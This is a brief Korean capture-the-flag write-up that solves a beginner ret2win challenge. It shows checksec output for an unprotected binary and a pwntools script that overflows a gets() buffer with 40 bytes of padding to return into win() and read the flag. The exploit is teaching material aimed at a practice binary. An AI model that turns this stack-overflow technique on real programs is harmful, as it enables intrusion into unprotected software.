guest@openpesto.com:~$ cat ctf/sample-pwn.md
# ret2win: 가장 단순한 익스플로잇
스택 카나리도 PIE도 없는 평화로운 바이너리. 교과서 같은 ret2win.
정찰
$ checksec ./vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
PIE: No PIE (0x400000)
win() 함수가 떡하니 있고, 입력은 gets()로 받는다. 더 볼 것도 없다.
익스플로잇
from pwn import *
io = process("./vuln")
win = 0x401176 # objdump -d ./vuln | grep win
pad = b"A" * 40 # rbp까지 32 + saved rbp 8
payload = flat(pad, win)
io.sendline(payload)
io.interactive() # $ cat flag.txt
오프셋 40바이트 뒤에 리턴 주소를 win()으로 덮으면 끝. 정렬(ret 가젯) 이슈가
나면 win 앞에 ret 한 번 끼워주면 된다.
flag{a_humble_beginning}